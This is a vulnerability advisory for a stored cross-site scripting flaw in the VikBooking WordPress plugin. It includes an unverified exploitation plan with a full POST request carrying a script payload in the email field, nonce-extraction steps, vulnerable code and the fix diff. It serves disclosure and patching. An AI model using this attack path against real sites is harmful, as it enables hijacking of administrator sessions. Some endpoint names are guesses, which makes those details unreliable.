CVE-2026-6820

VikBooking Hotel Booking Engine & PMS <= 1.8.8 - Unauthenticated Stored Cross-Site Scripting via Booking Form Email Field

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.8.9
Patched in
1d
Time to patch

Description

The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'email' parameter in all versions up to, and including, 1.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.8
PublishedJuly 7, 2026
Last updatedJuly 8, 2026
Affected pluginvikbooking

What Changed in the Fix

Changes introduced in v1.8.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS) ## 1. Vulnerability Summary The **VikBooking Hotel Booking Engine & PMS** plugin (versions <= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the `ema…

Show full research plan

Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS)

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the email parameter during the submission of booking or quotation forms and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard (e.g., within the "Quotations" or "Booking Details" views).

2. Attack Vector Analysis

  • Endpoint: The vulnerability is reachable via front-end booking or quotation submission. Typically, this is a POST request to the main WordPress front-end or an AJAX action. Based on admin/controllers/quote.php, the logic is likely mirrored in a front-end controller.
  • Action: vikbooking_save_quote (inferred action for quotation) or a direct POST to a page containing the [vikbooking_item_details] or [vikbooking_checkout] shortcode.
  • Vulnerable Parameter: quote[customer][email] (or simply email depending on the specific form context).
  • Authentication: Unauthenticated.
  • Preconditions: The plugin must have at least one active "Room" and "Rate Plan" to allow a user to reach the checkout/quotation stage.

3. Code Flow

  1. Entry Point: A user submits a quotation or booking form. The request reaches a controller (e.g., VikBookingControllerQuote::save in admin/controllers/quote.php).
  2. Data Acquisition: The controller retrieves the input:
    $quote = $app->input->get('quote', [], 'array');
    $customerInfo = [
        'first_name' => $quote['customer']['first_name'],
        'email'      => $quote['customer']['email'] ?? null, // Raw input
        // ...
    ];
    
  3. Storage: The data is passed to VBOMvcModel::getInstance('customer')->save($customerInfo) or VBOModelQuote::save().
  4. Processing: In admin/helpers/src/model/quote.php, the preflight() method is called before saving. It performs various conversions (UUID, IP, country codes) but does not call sanitize_email() or sanitize_text_field() on the email field.
  5. Persistence: The payload is stored in the #__vikbooking_quotations or #__vikbooking_customers database table.
  6. Sink: An administrator views the booking/quotation in the dashboard. The admin/helpers/widgets/booking_details.php loads the data. The view template (e.g., admin/views/quotation/tmpl/default.php) renders the email field using echo without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

VikBooking often uses a Joomla-style token or a WordPress nonce for form submissions. To obtain a valid nonce for unauthenticated exploitation:

  1. Identify Shortcode: The booking form is typically rendered via the [vikbooking_checkout] or [vikbooking_item_details] shortcode.
  2. Setup Test Page:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[vikbooking_checkout]'
    
  3. Extraction: Navigate to the newly created page. VikBooking localizes its scripts using wp_localize_script.
  4. JS Variable: Based on common VikBooking patterns, look for the vbo_ajax or vikbooking_data object.
    • Use browser_eval("window.vbo_vars?.nonce") or check the HTML for a hidden input named _wpnonce or token.
    • Note: If JSession::checkToken() is used (as seen in admin/controllers/quote.php), the "nonce" may be a 32-character MD5 hash used as a key in the request.

5. Exploitation Strategy

Step 1: Submit Malicious Quotation

Submit a quotation with a script payload in the email field.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php (if using AJAX) or the URL of the Booking page.
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: vbo_save_quote (or the specific action found in the form)
    • quote[customer][first_name]: Attacker
    • quote[customer][last_name]: User
    • quote[customer][email]: "><script>alert(document.domain)</script>@example.com
    • quote[customer][country]: US
    • quote[solutions][0][checkin]: 2026-10-10
    • quote[solutions][0][checkout]: 2026-10-12
    • quote[solutions][0][rooms][0][id]: 1 (Must be a valid room ID)
    • quote[solutions][0][rooms][0][id_price]: 1 (Must be a valid rate ID)
    • quote[solutions][0][rooms][0][adults]: 1
    • _wpnonce: [EXTRACTED_NONCE]

Step 2: Trigger the Payload

  1. Log in to the WordPress admin panel.
  2. Navigate to VikBooking -> Quotations or VikBooking -> Bookings.
  3. The script will execute when the list is rendered or when clicking "Edit" to view the quotation details.

6. Test Data Setup

  1. Create a Room:
    wp db query "INSERT INTO wp_vikbooking_rooms (name, units, avail) VALUES ('Deluxe Room', 5, 1);"
    
  2. Create a Rate Plan:
    wp db query "INSERT INTO wp_vikbooking_prices (idroom, name, price) VALUES (1, 'Standard Rate', 100.00);"
    
  3. Create a Front-end Page:
    wp post create --post_type=page --post_status=publish --post_content='[vikbooking_checkout]' --post_title='Checkout'
    

7. Expected Results

  • Submission Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • Admin Trigger: Upon navigating to the VikBooking Quotations page, an alert box showing the document domain should appear.

8. Verification Steps

Confirm the payload is stored in the database:

wp db query "SELECT email FROM wp_vikbooking_quotations WHERE first_name='Attacker';"
# Expected output should contain: "><script>alert(document.domain)</script>@example.com

9. Alternative Approaches

If vbo_save_quote is restricted or requires higher privileges, target the Front-end Reservation Form:

  • Action: vikbooking_save_reservation
  • Parameter: vbo_email or cust_email.
  • Logic: Many plugins use shared helpers (like cpin in the source) to handle customer data. Injecting into any form that creates a "Customer" record in the database will likely trigger the XSS in the "Customers" or "Booking Details" administrative views.
Research Findings
Static analysis — not yet PoC-verified

Summary

The VikBooking Hotel Booking Engine & PMS plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'email' parameter. This occurs due to a lack of input sanitization when processing booking/quotation forms and a failure to escape the stored data when rendering it in the administrative dashboard.

Vulnerable Code

// admin/controllers/quote.php
        // build customer information
        $customerInfo = [
            'first_name' => $quote['customer']['first_name'],
            'last_name'  => ($quote['customer']['last_name'] ?? '') ?: '(Quote)',
            'email'      => $quote['customer']['email'] ?? null,
            'phone'      => $quote['customer']['phone'] ?? null,
            'country'    => $quote['customer']['country'] ?? null,
        ];

---

// admin/controller.php (around line 11173)
		foreach ($customers as $k => $v) {
			$cstring_search .= '<div class="' . $selector . '" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.htmlspecialchars($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.htmlspecialchars($v['first_name']).'" data-lastname="'.htmlspecialchars($v['last_name']).'">'."\n";

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.8/admin/controller.php	2026-04-20 22:09:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/vikbooking/1.8.9/admin/controller.php	2026-04-28 16:07:36.000000000 +0000
@@ -11170,7 +11205,7 @@
 		$cust_old_fields = array();
 		$cstring_search = '<div class="vbo-custsearchres-inner">' . "\n";
 		foreach ($customers as $k => $v) {
-			$cstring_search .= '<div class="' . $selector . '" data-custid="'.$v['id'].'" data-email="'.$v['email'].'" data-phone="'.htmlspecialchars($v['phone']).'" data-country="'.$v['country'].'" data-pin="'.$v['pin'].'" data-firstname="'.htmlspecialchars($v['first_name']).'" data-lastname="'.htmlspecialchars($v['last_name']).'">'."\n";
+			$cstring_search .= '<div class="' . $selector . '" data-custid="' . (int) $v['id'] . '" data-email="' . htmlspecialchars($v['email']) . '" data-phone="' . htmlspecialchars($v['phone']) . '" data-country="' . htmlspecialchars($v['country']) . '" data-pin="' . htmlspecialchars($v['pin']) . '" data-firstname="' . htmlspecialchars($v['first_name']) . '" data-lastname="' . htmlspecialchars($v['last_name']) . '">'."\n";
 			$cstring_search .= '<span class="vbo-custsearchres-cflag">';

Exploit Outline

1. Identify a page containing the VikBooking booking or quotation form (e.g., via the `[vikbooking_checkout]` shortcode). 2. Obtain a valid security token/nonce if required, usually found in localized JS variables like `vbo_vars` or as a hidden input field. 3. Send an unauthenticated POST request to the form submission endpoint (typically `admin-ajax.php` with action `vbo_save_quote` or a direct POST to the booking page). 4. Inject a JavaScript payload into the `quote[customer][email]` parameter, such as: `"><script>alert(document.domain)</script>@example.com`. 5. Wait for an administrator to log in and navigate to the 'Quotations' or 'Bookings' list in the VikBooking dashboard. 6. The script will execute in the administrator's session when the application renders the customer search results or booking details container containing the unsanitized email attribute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.